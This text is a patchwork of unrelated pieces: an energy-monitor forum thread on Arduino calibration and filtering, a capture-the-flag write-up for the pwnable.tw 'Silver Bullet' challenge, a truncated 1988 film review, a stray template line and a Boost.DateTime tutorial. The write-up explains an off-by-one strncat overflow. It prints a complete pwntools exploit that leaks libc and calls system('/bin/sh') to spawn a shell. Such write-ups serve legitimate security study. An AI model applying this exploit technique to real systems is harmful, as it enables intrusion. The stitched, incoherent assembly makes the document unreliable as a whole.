I have some questions regarding the old version of programming please, which I can't understand:
1)The" Ac_Wall_Voltage 122 " is it the voltage from the mains??
The " AC_Adapter_Voltage 15.2" is it the voltage on the voltage adapter, for example the 9 Volts that you standardized??
2)// Initial gueses for ratios, modified by VCAL/ICAL tweaks
#define AC_ADAPTER_RATIO (AC_WALL_VOLTAGE / AC_ADAPTER_VOLTAGE)
double V_RATIO = AC_ADAPTER_RATIO * AC_VOLTAGE_DIV_RATIO * 5 / 1024 * VCAL;
double I_RATIO = (long double)CT_TURNS / CT_BURDEN_RESISTOR * 5 / 1024 * ICAL;
I cant understand the reasoning of the calculations of the ratio
3)When you are doing the high pass filter :
filteredV = 0.996*(lastFilteredV+sampleV-lastSampleV);
filteredI = 0.996*(lastFilteredI+sampleI-lastSampleI);
I cant understand why you are doing filtering.
If someone can help me please.
Thank you
Re: Questions about programming
Ac_Wall_Voltage is the mains voltage yes.
AC_Adapter_Voltage: yes the output voltage of the ac-ac adapter (9v)
Maybe the word ratio is unclear, V_RATIO and I_RATIO are the final voltage and current calibration including the fine tuning calibration given by ICAL and VCAL.
Have a look at this page, it might help to shed some light on the calibration equation calculation: http://openenergymonitor.org/emon/buildingblocks/ct-and-ac-power-adaptor-installation-and-calibration-theory
The high pass filter is required to subtract the 2.5V bias provided by the biasing voltage divider in the CT and Voltage circuit: http://openenergymonitor.org/emon/buildingblocks/ct-sensors-interface
Re: Questions about programming
Im sorry if Im asking too much...
1)I read the links you gave me but if im not using the emontx.. therefore the AC_VOLTAGE_DIV_RATIO is not 11 for me? since im not using R13 and R14. My resistors are 10K ohm and not 3.3V but 5V... so how am I going to find my ratio.
When I read about the filtering, I only found this sentence:
'but this is immediately removed by a software filter, '
and you just chose 10K ohm for R 3 and R4 to be equal. that is I can choose any other number for resistor as long as they are equal and not high enough to increase noise
so actually I still cant understand the reason behind all, for example why it is multiplied by 0.996 and why the equation is like that:
2)So the ICAL and VCAL and also the PHASECAL I need to find them by trial and error right? That is I clip on a normal reader, see what I get, then try with my arduino and try to arrange them to get close to the other. In order to be used in the ratio...
The part of the ratio I understood from the links above...
I am really sorry if I am asking too much.. however I would like to build my own software on something similar , and here is the only help I can find. But first I have to understand your software in order to build mine.
Thanks again
Re: Questions about programming
A little more explanation:
See here: http://openenergymonitor.org/emon/buildingblocks/ct-and-ac-power-adaptor-installation-and-calibration-theory You do not say exactly what you have, So I cannot tell you what to do. You will need to compare what you have with the standard emonTx circuit and follow through the reasoning in the link above.
Yes - and provided that they are not very low either. Noise will not be a problem with 10 K Ohm resistors.
This is a standard software high pass filter. See here: https://en.wikipedia.org/wiki/High-pass_filter for the full theory (scroll down to "Algorithmic implementation"). The best way to understand it is to simulate it with a spreadsheet and study how it works (Hint: filteredV and sampleV are the current line on the spreadsheet, lastFilteredV and lastSampleV are the line above. Start with a simple step of 'sampleV' and watch how 'filteredV slowly settles back towards zero). "0.996" controls the time constant.
For your starting point for these, see here: http://openenergymonitor.org/emon/buildingblocks/ct-and-ac-power-adaptor-installation-and-calibration-theory Again, you will have to follow the reasoning and calculate your own equations using the numbers from the components you are using. If you can measure voltage and current with another accurate meter, then you can adjust the calibration constants to make the Arduino show the same values. Otherwise, use the theoretical calibration constants.
[edited: wrong page referenced]
Re: Questions about programming
thanks a lot
1)if I add this program to the xbee send part. therefore i should add it under:
xbeeSerial.begin(9600);
2)and another thing, under each : Serial.print(' '); should i write : sendDataToXbee(); or should I just write it after I reset the accumulators.. because if I put it after the program ends, absviously the accumulators will be reset to zero and therefore the xbee will send just zeros
Re: Questions about programming
What program? The operating system of the Arduino calls two functions. When it starts it calls setup( ). When that returns, it enters a loop, calling loop( ) repeatedly. (The clue is in the names!). So anything you want done repeatedly goes in loop( ). The EnergyMonitor::calibration( ) method - look at Emon.h to see how it's defined and in Emon.cpp to see what it does - just sets the calibration constants. Hopefully, these never need to change, so it naturally goes into setup( ).
Haven't you answered your own question here? Is your real problem that you don't understand the language the program is written in? If so, try working through this http://www.relisoft.com/book/index.htm
Yes, but you need to follow exactly the same reasoning. Look at the circuit diagram for the emonTx and look at the calibration theory, and relate one to the other. Then draw out your circuit diagram (with pencil and paper ! ) for the voltage input from mains to input pin; then write out the program calculations from reading the input to transmitting the final value and write on the paper all the calculations using the real numbers along the way. Of course you must substitute the values of your components. As you do this, you will see how to generate your own calibration constant.
Then do the same for current.
You might have a problem working out the voltage from the voltage sensor if it is not one that we have accurate data for, in that case you will need to monitor the mains voltage and adjust the calibration constant by trial and error to get the correct value.
Here's the exam question: Why do the values of the biasing resistors not enter into the calibration?
Re: Questions about programming
those are used to provide a 2.5V, that is it would not oscillate from negative to positive as the arduino only needs a positive voltage, if im not mistaken
Re: Questions about programming
So you are saying the bias resistors do not affect the signal amplitude? Correct ! All they do is set the 'no load current' (or 'no mains voltage' in the case of the voltage input) to the midpoint of the analogue to digital converter's range.
Also, you need not worry about peak-peak values and rms values, as long as you consistently work in one or the other. As we want to display and use the rms current, it makes sense to work in rms values for all of the calibration calculations. You only need to worry about peak-peak values when you are designing to ensure that the signals remain within the range of the analogue to digital converter.
Re: Questions about programming
exactly they give 2,5V in order to be safe in my case since Im using a 5 V arduino.. for emonTx wich is 3.3V one has to arrange the resistors in order to get 1,5V.
Thanks a lot and sorry for being a pest :D
Re: Questions about programming
I was a student once - over 40 years ago ! Microprocessors didn't exist then, even the 709 op-amp was cutting edge.
Re: Questions about programming
:O i think it was really tough engineering back then... and im freaking myself out hahahha trying to figure out this :/..
Re: Questions about programming
why to find the real power, you still multiply by I_Ratio and V_Ratio, if it is already taken care the ratio to find the RMS of V and I.
I mean the ratio to find the RMS is multiplied by the ratio, in order to take care of the scale down due to the sensors and the circuit. But why is there the need to multiply by I_Ratio and V_ratio to find the real power as well??
Re: Questions about programming
You are referring to (3) Post loop calculations in EmonLib.cpp
Because you are not using the rms values of current and voltage to obtain power! The sum I think you have in mind [P = V.I.cos(Ø)] only works for pure sine waves.  The voltage wave might be relatively close to a sine wave, but the current wave most certainly will be distorted especially if you have lamp dimmers, switched mode computer power supplies and such.
The correct way to calculate power is exactly as the calculations are done in the software: multiply the instantaneous values of current and voltage [(F) Instantaneous power calc], and then take the mean.
(I think you have mixed up some of the variables when you read through the program).
It's cheaper (in terms of program execution time) to multiply at the end outside the loop rather than multiply each reading inside the loop, and you get the same answer.
Re: Questions about programming
thanks :))))))))) ... I wrote all the program now in my own words :D.. now Im waiting for the PCB so I can calibrate all the stuff .. I will soon start the Ethernet part
Re: Questions about programming
Robert Wall, on 2/4/2012:
"filteredV = 0.996*(lastFilteredV+sampleV-lastSampleV);"
This is a standard software high pass filter. See here: https://en.wikipedia.org/wiki/High-pass_filter for the full theory (scroll down to "Algorithmic implementation"). The best way to understand it is to simulate it with a spreadsheet and study how it works (Hint: filteredV and sampleV are the current line on the spreadsheet, lastFilteredV and lastSampleV are the line above. Start with a simple step of 'sampleV' and watch how 'filteredV slowly settles back towards zero). "0.996" controls the time constant.
Thanks for that really helpful explanation. I've just tried out your idea of the spreadsheet demo, and it does indeed behave as you say. Using the time-constant value of 0.996, it takes forever (well, nearly) to settle. To get anywhere near to zero from 10 would take more screen-worths than I'm prepared to scroll down! By changing the time-constant to 0.8, the dc-blocking behaviour can be seen on a more compressed timescale, with 20% of the ac-transmission being sacrificed.
When I switch my Emon system on from cold, crazy readings often appear, but the system thankfully settles down after a few seconds. Maybe this is the dc-blocking filters getting to grips with the 2.5V offsets in our voltage and current readings?
Re: Questions about programming
Yes, it's the filter.
"The best way to understand it is to simulate it with a spreadsheet..." -- Make one cycle of a sine wave in column 1 of the correct amplitude (it need not be very accurate, say every pi/10) , square it in column 2 and then sum column 2 and take the root. Do the same with a big offset on the sine wave and see just how crazy the numbers are. It's obvious really when you think what rms means - it's the equivalent direct current that gives the same heating effect, so if you add a load of dc to it (in the short term) it will heat a resistor more.
A thought: It ought to be possible to pre-load the filter at startup and reduce (but probably not eliminate) the settling time.
Re: Questions about programming
Thanks for this great project!
I'm using the calcIrms() function on a PIC (12F1822) to measure -only- the current on a three phase mains line.
It's working fine, if only using one CT, if i add a second channel in the code, and vary the input of this channel manually with a potentiometer, the measured data on the first channel will be not correct anymore.
I think i found the problem that is causing this behavior. When the loop is started sampleI and filteredI are uninitialized (or contain values from the last channel). So DC settling is taking place every time i switch to the next channel.
I'm currently sampling with 2048 samples, and that seems to be to low. But even increasing it to 4096 samples will not completely remove this "interference" from the previous channel.
A solution for me was to add an extra loop, with a lower time constant for the high pass filter, so that it settles quickly, and once it has, the measurement loop is started
for (int n = 0; n < 100; n++)
{
lastSampleI = sampleI;
sampleI = analogRead(inPinI);
lastFilteredI = filteredI;
filteredI = 0.9*(lastFilteredI+sampleI-lastSampleI);
}
I've ordered a emonTx today, so i soon will be able to verify this on the official hardware too.
Re: Questions about programming
You are programming in C++?
The two channels should each be using their own instance of the EnergyMonitor class, so each uses its own set of properties inside the filter equation (assuming you have copied the standard emonTx sketch and library).
e.g. you declare: EnergyMonitor ct1,ct2;
When you do this, you actually have (seen from outside of the calc( ) method and assuming those properties/variables to be visible, which they are not)
when you are looking at ct1:
when you are looking at ct2:
etc. and the two channels will not interact.
If you are not using C++ or other object-oriented language, then you need a second set of variables with different names for the second channel.
Re: Questions about programming
That was the problem. Thanks for the correct solution.
Re: Questions about programming
can anyone give me any light on the programming of the ethernet shield and xbee receive together???
Re: Questions about programming
I wrote the send part like that.. should I close it in a loop or it is good like that?? and therefore on the receive part i should only add to the ethernet program this:
Re: Questions about programming
Hello Polidano
Best way to program xbee and ethernet together, is to start by getting xbee each part to work independently of each other. Maybe for now drop using my code that you have pasted above and try and assemble the code you need from the examples given by the xbee and ethernet libraries. There are a few things going on in my code above that you may not need and its quite old so you may run into problems with the latest libraries etc.


Silver Bullet writeup [pwnable.tw]
Silver Bullet [200pts] (pwnable.tw)
Please kill the werewolf with silver bullet!
nc chall.pwnable.tw 10103
The vulnerability
After wondering around for a while, i discover a bug in function power_up
:
int __cdecl power_up(char *dest)
{
char s[48]; // [esp+0h] [ebp-34h] BYREF
size_t v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(s, 0, sizeof(s));
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 47u )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 48 - *((_DWORD *)dest + 12));
strncat(dest, s, 48 - *((_DWORD *)dest + 12)); // <-- the vulnerability here
v3 = strlen(s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}
The program allowed to strncat
upto n
bytes, which was supposed to be n-1
bytes, because as strncat manual says:
If src contains n or more bytes, strncat() writes n+1 bytes to dest (n from src plus the terminating null byte). Therefore, the size of dest must be at least strlen(dest)+n+1
strncat misuse references:
[1] Beware of strncpy() and strncat() - eklitzke
[2] strncpy() and strncat() - Daniel Plakosh
From that, we got 1-byte buffer overflow
, where the null-byte will overwrite the size of “the description of the bullet”, the size will be reset back to 0, so we can trick the program into concatenating to a string longer than 47 bytes, which will be a buffer overflow ==> We control the main
function’s return pointer (EIP), and also the power of the bullet, after we “kill the wolf”, the program execution flow will be redirected to the address we want.
Leaking libc phase
I wrote a code to leak libc and then return back to the main function to get another chance of redirecting the program execution flow. Here we are leaking the libc address of puts
function
#--init--
print(io.recvuntil(b'choice :'))
io.sendline(b'1')
print(io.recvuntil(b'description of bullet :'))
init_pl = b'A'*47
io.sendline(init_pl)
#--------
#-- phase 1 - leak libc --
payload = b'A'
power_up(payload)
payload = b'A'*7+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
power_up(payload)
beat()
print(io.recvuntil('Sorry ... It still alive !!'))
beat()
print(io.recvuntil('Oh ! You win !!'))
a = io.recv()
print(a.split(b'\n'))
#-------------------------
#leak libc
libc.address = u32(a.split(b'\n')[1])-libc.sym['puts']
print('[+] Base libc: ', hex(libc.address))
#---------
After having the puts
libc address, we could subtract the offset and got the base address of libc. And from libc base address, we got system()
address and /bin/sh
string address.
Exploiting phase
The program now has been redirected to the main
function again, reusing the vulnerability, we will spawn a shell:
#-- phase 2 - exploit --
io.sendline(b'1')
print(io.recvuntil(b'description of bullet :'))
init_pl = b'A'*47
io.sendline(init_pl)
payload = b'A'
power_up(payload)
payload = b'A'*7+p32(libc.sym['system'])+p32(libc.sym['exit'])+p32(next(libc.search(b'/bin/sh')))
power_up(payload)
beat()
print(io.recvuntil('Sorry ... It still alive !!'))
beat()
print(io.recvuntil('Oh ! You win !!'))
print(io.recv())
io.interactive()
#-------------------------
The final exploit
Wise words from my master:
“Instead of
b'A'*7
you could useb'\xff\xff\xff'+b'A'*4
to kill the wolf in one time”
from pwn import *
io = process('./silver_bullet')
#io = remote('chall.pwnable.tw', 10103)
#libc = ELF('libc_32.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./silver_bullet')
def power_up(des):
print(io.recvuntil(b'choice :'))
io.sendline(b'2')
print(io.recvuntil(b'description of bullet :'))
io.sendline(des)
def beat():
print(io.recv())
io.sendline(b'3')
#--init--
print(io.recvuntil(b'choice :'))
io.sendline(b'1')
print(io.recvuntil(b'description of bullet :'))
init_pl = b'A'*47
io.sendline(init_pl)
#--------
#-- phase 1 - leak libc --
payload = b'A'
power_up(payload)
payload = b'A'*7+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
power_up(payload)
beat()
print(io.recvuntil('Sorry ... It still alive !!'))
beat()
print(io.recvuntil('Oh ! You win !!'))
a = io.recv()
print(a.split(b'\n'))
#-------------------------
#leak libc
libc.address = u32(a.split(b'\n')[1])-libc.sym['puts']
print('[+] Base libc: ', hex(libc.address))
#---------
#-- phase 2 - exploit --
io.sendline(b'1')
print(io.recvuntil(b'description of bullet :'))
init_pl = b'A'*47
io.sendline(init_pl)
payload = b'A'
power_up(payload)
payload = b'A'*7+p32(libc.sym['system'])+p32(libc.sym['exit'])+p32(next(libc.search(b'/bin/sh')))
power_up(payload)
beat()
print(io.recvuntil('Sorry ... It still alive !!'))
beat()
print(io.recvuntil('Oh ! You win !!'))
print(io.recv())
io.interactive()
#-------------------------
Thanks for reading, if you want to ask anything, please comment below. :D


THROW MOMMA FROM THE TRAIN A film review by Mark R. Leeper Copyright 1988 Mark R. Leeper
Capsule review: Danny DeVito's directing debut seems to indicate he is not yet ready to direct. The characters are neither believable nor likable and the comedy is not funny. DeVito needs and deserves a better director than DeVito. Rating: -1.
I think most successful comic actors should learn from Harry Langdon's career. Langdon made a number of successful comedies back in the silent era. He had a funny face that just worked well with screen comedy. He was also ambitious and wanted to direct his own films. He spread a rumor that his director, Frank Capra, really was an incompetent and that he himself did most of the direction on his films. So the studio let Frank Capra go. (Fear not, it was a while, but Capra DID eventually get work directing films again.) Langdon directed his own comedies for two or three flops, then he let other directors misuse him and his career just sort of petered out. Not everyone who is good in comedy acting knows how to direct him or herself. Gene Wilder is another example. A third is probably Danny DeVito. DeVito needs a director who wants to and knows how to show him off. (I have been surprised by how many fans of ONE FLEW OVER THE CUCKOO'S NEST and TERMS OF ENDEARMENT do not even remember that DeVito was in those films.) DeVito has been funny only when he has had really talented directors. His first attempt to direct himself just proves he does not (yet?) have that talent.
THROW MOMMA FROM THE TRAIN is a patchwork of comedy styles that never gels into a real film. The plot is a sendup of Hitchcock's STRANGERS ON A TRAIN. Larry (played by Billy Crystal) is a writing instructor who teaches his class that a writer always writes. He himself, however, has a writing block connected with his hatred of his ex-wife, a hatred he makes no secret. Owen (played by Danny DeVito) is a student in his class hatching murder plots in fiction and for real equally incompetently. Owen's mother is about as revolting as a woman can appear on screen and Owen, quite justifiably, wants to do her in. Through misunderstanding Owen thinks Larry has suggested an exchange of murders to throw off the police.
The concept could have made for a successful comedy, but virtually
nothing in this comedy is funny. The film starts with Larry struggling for
much too long with the first sentence for his book. He wants a great first
line and he knows it will be "The night was
Mark R. Leeper ihnp4!mtgzz!leeper<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% extends "layout.html" %} {% block content %}
Evaluate those propositions according to your opinion


The Boost C++ Libraries
This book is licensed under a Creative Commons License.
The library Boost.DateTime can be used to process time data such as calendar dates and times. In addition, Boost.DateTime provides extensions to account for time zones as well as supporting formatted input and output of calendar dates and times. This chapter covers the individual pieces of Boost.DateTime.
Boost.DateTime only supports calendar dates based on the Gregorian calendar which in general is not a problem since it is the most widely-used calendar. If a meeting with someone from a different country is arranged for January 5, 2010, it can be expected that there is no need to advise the person that the date is based on the Gregorian calendar.
The Gregorian calendar was introduced by Pope Gregory XIII in 1582. Strictly speaking, Boost.DateTime supports calendar dates for the years 1400 to 9999 which means that support goes back beyond the year 1582. Therefore, Boost.DateTime can be used for any calendar date after the year 1400 when converted to the Gregorian calendar. If older years are required, a different library must be used instead.
Classes and functions to process calendar dates are offered within the namespace boost::gregorian
defined in boost/date_time/gregorian/gregorian.hpp
. To create a date, the boost::gregorian::date
class is used.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d(2010, 1, 30); std::cout << d.year() << std::endl; std::cout << d.month() << std::endl; std::cout << d.day() << std::endl; std::cout << d.day_of_week() << std::endl; std::cout << d.end_of_month() << std::endl; }
boost::gregorian::date
offers multiple constructors to manipulate the date creation. The most basic constructor takes a year, a month and a day as its arguments. If an invalid value is given, an exception of type boost::gregorian::bad_year
, boost::gregorian::bad_month
or boost::gregorian::bad_day_of_month
, all derived from std::out_of_range
, is thrown.
As shown in the example, there are many methods provided to access a date. While methods such as year()
, month()
and day()
access the initial values used for initialization, methods like day_of_week()
and end_of_month()
specifically calculate values.
Whilst the constructor of boost::gregorian::date
takes values for the year, month and day to set a date, calling the month()
method actually displays Jan
while calling the day_of_week()
displays Sat
. These are no regular numeric values but rather values of type boost::gregorian::date::month_type
and boost::gregorian::date::day_of_week_type
, respectively. Nonetheless, Boost.DateTime offers comprehensive support for formatted input and output to adjust the above output from Jan
to 1
.
Please note that an invalid date is created by the default constructor of boost::gregorian::date
. Such an invalid date can be created explicitly by passing boost::date_time::not_a_date_time
as the single argument to the constructor.
Besides calling a constructor directly, an object of type boost::gregorian::date
can also be created via free-standing functions and methods of other objects.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d = boost::gregorian::day_clock::universal_day(); std::cout << d.year() << std::endl; std::cout << d.month() << std::endl; std::cout << d.day() << std::endl; d = boost::gregorian::date_from_iso_string("20100131"); std::cout << d.year() << std::endl; std::cout << d.month() << std::endl; std::cout << d.day() << std::endl; }
This example utilizes the boost::gregorian::day_clock
class which is a clock returning the current date. The universal_day()
returns a UTC date that is independent of time zones and daylight savings. UTC is the international abbreviation for the universal time. boost::gregorian::day_clock
also provides a method named local_day()
which takes the local settings into account. To retrieve the current date within the local time zone, local_day()
must be used.
The namespace boost::gregorian
contains many additional free-standing functions to convert a date stored in a string to an object of type boost::gregorian::date
. The example actually converts a date given in ISO 8601 format via the boost::gregorian::date_from_iso_string()
function. Other functions such as boost::gregorian::from_simple_string()
and boost::gregorian::from_us_string()
are available as well.
While boost::gregorian::date
marks a specific point in time, boost::gregorian::date_duration
rather denotes a duration.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d1(2008, 1, 31); boost::gregorian::date d2(2008, 8, 31); boost::gregorian::date_duration dd = d2 - d1; std::cout << dd.days() << std::endl; }
Since boost::gregorian::date
overloads the operator-()
operator, two points in time can be subtracted as shown above. The return value is of type boost::gregorian::date_duration
and marks the duration between the two dates.
The most important method offered by boost::gregorian::date_duration
is days()
which returns the number of days the duration consists of.
Objects of type boost::gregorian::date_duration
can also be explicitly created by passing the number of days as the single argument to the constructor. To create a duration that involves weeks, months or years, boost::gregorian::weeks
, boost::gregorian::months
and boost::gregorian::years
can be used accordingly.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date_duration dd(4); std::cout << dd.days() << std::endl; boost::gregorian::weeks ws(4); std::cout << ws.days() << std::endl; boost::gregorian::months ms(4); std::cout << ms.number_of_months() << std::endl; boost::gregorian::years ys(4); std::cout << ys.number_of_years() << std::endl; }
Neither boost::gregorian::months
nor boost::gregorian::years
allow to determine the number of days since months and years vary in length. Nonetheless, the usage of these classes can still make sense as shown in the following example.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d(2009, 1, 31); boost::gregorian::months ms(1); boost::gregorian::date d2 = d + ms; std::cout << d2 << std::endl; boost::gregorian::date d3 = d2 - ms; std::cout << d3 << std::endl; }
The application adds one month to the given date of January 31, 2009 which results in d2 being February 28, 2009. In the next step, one month is subtracted and d3 becomes January 31, 2009 again. As shown, point in times as well as durations can be used in calculations. However, the specifics need to be taken into account in these scenarios. For example, starting at the last day of a month, boost::gregorian::months
always arrives at the last day of a different month if jumped forwards or backwards which can lead to surprises.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d(2009, 1, 30); boost::gregorian::months ms(1); boost::gregorian::date d2 = d + ms; std::cout << d2 << std::endl; boost::gregorian::date d3 = d2 - ms; std::cout << d3 << std::endl; }
This example is identical to the previous one with the exception of d being initialized with January 30, 2009. Even though this is not the last day in January, jumping forward by one month results in d2 becoming February 28, 2009 since there is no February 30. However, when jumping backwards by one month again, d3 this time actually becomes January 31, 2009! Since February 28, 2009 is the last day in the month, jumping backwards actually returns to the last day in January.
If that behavior is too confusing, it can be modified by revoking the definition of the BOOST_DATE_TIME_OPTIONAL_GREGORIAN_TYPES
macro. After that, the boost::gregorian::weeks
, boost::gregorian::months
and boost::gregorian::years
classes are no longer available. The only class left is boost::gregorian::date_duration
which simply jumps forward and backwards by a specified number of days so that unexpected results are no longer possible.
While boost::gregorian::date_duration
works with durations, boost::gregorian::date_period
offers support for ranges between two dates.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d1(2009, 1, 30); boost::gregorian::date d2(2009, 10, 31); boost::gregorian::date_period dp(d1, d2); boost::gregorian::date_duration dd = dp.length(); std::cout << dd.days() << std::endl; }
Two arguments of type boost::gregorian::date
specifying the beginning and end dates can be passed to the constructor of boost::gregorian::date_period
. Alternatively, the beginning date and a duration of type boost::gregorian::date_duration
can be specified. Please note that the day before the end date is actually the last day of the period which is important in order to understand the output of the following example.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d1(2009, 1, 30); boost::gregorian::date d2(2009, 10, 31); boost::gregorian::date_period dp(d1, d2); std::cout << dp.contains(d1) << std::endl; std::cout << dp.contains(d2) << std::endl; }
The application checks for a specific date within the period using the contains()
method. Even though both d1 and d2 were passed to the constructor of boost::gregorian::date_period
, contains()
returns true
only the first time. Since the end date is not part of the period, contains()
returns false
if called with d2.
boost::gregorian::date_period
offers additional methods to e.g. move a period or to calculate the intersection of two overlapping periods.
Besides classes for date, durations and periods, Boost.DateTime provides iterators as well as different useful free-standing functions as shown in the following example.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::gregorian::date d(2009, 1, 5); boost::gregorian::day_iterator it(d); std::cout << *++it << std::endl; std::cout << boost::date_time::next_weekday(*it, boost::gregorian::greg_weekday(boost::date_time::Friday)) << std::endl; }
In order to jump forward or backward by a day from a specific date, the iterator boost::gregorian::day_iterator
can be used. With boost::gregorian::week_iterator
, boost::gregorian::month_iterator
and boost::gregorian::year_iterator
, additional iterators are provided to jump by weeks, months or years.
The example also uses the boost::date_time::next_weekday()
which returns the date of the next weekday based on a given date. The above application displays 2009-Jan-09
since this is the first Friday following January 6, 2009.
While boost::gregorian::date
creates a date, boost::posix_time::ptime
is used to define a location-independent time. boost::posix_time::ptime
accesses boost::gregorian::date
but stores a time in addition.
In order to use boost::posix_time::ptime
the header boost/date_time/posix_time/posix_time.hpp
needs to be included.
#include <boost/date_time/posix_time/posix_time.hpp> #include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::posix_time::ptime pt(boost::gregorian::date(2009, 1, 5), boost::posix_time::time_duration(12, 0, 0)); boost::gregorian::date d = pt.date(); std::cout << d << std::endl; boost::posix_time::time_duration td = pt.time_of_day(); std::cout << td << std::endl; }
To initialize an object of type boost::posix_time::ptime
, a date of type boost::gregorian::date
and a duration of type boost::posix_time::time_duration
is passed as the first and second argument to the constructor. The three arguments passed to the constructor of boost::posix_time::time_duration
determine the time. The above application specifies 12 PM on January 5, 2009 as the point in time.
In order to query date and time, the date()
and time_of_day()
methods can be used.
Just like the default constructor of boost::gregorian::date
creates an invalid date, a time of type boost::posix_time::ptime
is also invalid if the default constructor is used. An invalid time can also be created explicitly by passing boost::date_time::not_a_date_time
to the constructor.
Similar to creating calendar dates of type boost::gregorian::date
via the use of free-standing functions or methods of different objects, Boost.DateTime offers corresponding free-standing functions and objects to create times.
#include <boost/date_time/posix_time/posix_time.hpp> #include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> int main() { boost::posix_time::ptime pt = boost::posix_time::second_clock::universal_time(); std::cout << pt.date() << std::endl; std::cout << pt.time_of_day() << std::endl; pt = boost::posix_time::from_iso_string("20090105T120000"); std::cout << pt.date() << std::endl; std::cout << pt.time_of_day() << std::endl; }
The boost::posix_time::second_clock
class represents a clock returning the current time. The universal_time()
method returns the UTC time as shown in the above example. If local time is preferred, local_time()
must be used.
Boost.DateTime offers an additional class named boost::posix_time::microsec_clock
that returns the current time including microseconds in case a higher resolution is required.
To convert a point in time stored in a string to an object of type boost::posix_time::ptime
, free-standing functions such as boost::posix_time::from_iso_string()
are provided which expects the point in time to be stored in the ISO 8601 format.
In addition to boost::posix_time::ptime
, Boost.DateTime also offers the boost::posix_time::time_duration
class that specifies a duration. This class has been mentioned before since the constructor of boost::posix_time::ptime
actually expects an object of type boost::posix_time::time_duration
as its second argument. Nonetheless, boost::posix_time::time_duration
can certainly be used independently as well.
#include <boost/date_time/posix_time/posix_time.hpp> #include <iostream> int main() { boost::posix_time::time_duration td(16, 30, 0); std::cout << td.hours() << std::endl; std::cout << td.minutes() << std::endl; std::cout << td.seconds() << std::endl; std::cout << td.total_seconds() << std::endl; }
hours()
, minutes()
and seconds()
all return values that are passed to the constructor while methods such as total_seconds()
, returning the total number of seconds, provide one with additional information in a simple way.
Random values can be legally passed to boost::posix_time::time_duration
since no upper limit such as 24 hours exists.
As with calendar dates, calculations can also be performed with points in time and durations.
#include <boost/date_time/posix_time/posix_time.hpp> #include <iostream> int main() { boost::posix_time::ptime pt1(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(12, 0, 0)); boost::posix_time::ptime pt2(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(18, 30, 0)); boost::posix_time::time_duration td = pt2 - pt1; std::cout << td.hours() << std::endl; std::cout << td.minutes() << std::endl; std::cout << td.seconds() << std::endl; }
If two times of type boost::posix_time::ptime
are subtracted from each other, the result is an object of type boost::posix_time::time_duration
specifying the duration between the two points.
#include <boost/date_time/posix_time/posix_time.hpp> #include <iostream> int main() { boost::posix_time::ptime pt1(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(12, 0, 0)); boost::posix_time::time_duration td(6, 30, 0); boost::posix_time::ptime pt2 = pt1 + td; std::cout << pt2.time_of_day() << std::endl; }
As shown in the example, a duration can be added to a specific point in time resulting in a new point in time. The above application writes 18:30:00
to the standard output stream.
As one may have been noticed, Boost.DateTime uses the same concepts for both calendar dates and times. Just like there are classes for times and durations, there is also one for periods. For calendar dates, this class is boost::gregorian::date_period
; for times it is boost::posix_time::time_period
. Both classes expect two arguments being passed to the constructor: boost::gregorian::date_period
expects two calendar dates while boost::posix_time::time_period
expects two times.
#include <boost/date_time/posix_time/posix_time.hpp> #include <iostream> int main() { boost::posix_time::ptime pt1(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(12, 0, 0)); boost::posix_time::ptime pt2(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(18, 30, 0)); boost::posix_time::time_period tp(pt1, pt2); std::cout << tp.contains(pt1) << std::endl; std::cout << tp.contains(pt2) << std::endl; }
In general boost::posix_time::time_period
works exactly like boost::gregorian::date_period
. It provides a method named contains()
which returns true
for every point in time within the period. Since the end time, passed to the constructor of boost::posix_time::time_period
, is not part of the period, above example returns false
for the second call of contains()
.
boost::posix_time::time_period
also offers additional methods such as intersection()
and merge()
to calculate the intersection of two overlapping periods or to merge two intersecting periods, respectively.
Finally, the iterator boost::posix_time::time_iterator
is introduced to iterate over points in time.
#include <boost/date_time/local_time/local_time.hpp> #include <iostream> int main() { boost::posix_time::ptime pt(boost::gregorian::date(2009, 1, 05), boost::posix_time::time_duration(12, 0, 0)); boost::posix_time::time_iterator it(pt, boost::posix_time::time_duration(6, 30, 0)); std::cout << *++it << std::endl; std::cout << *++it << std::endl; }
The application uses the iterator it to jump forward 6.5 hours starting at time pt. Since the iterator is incremented twice, the corresponding output is 2009-Jan-05 18:30:00
and 2009-Jan-06 01:00:00
.
Unlike the location-independent times introduced in the previous section, location-dependent times actually account for time zones. For this purpose, Boost.DateTime offers the boost::local_time::local_date_time
class, defined in boost/date_time/local_time/local_time.hpp
, which uses boost::local_time::posix_time_zone
to store time zone information.
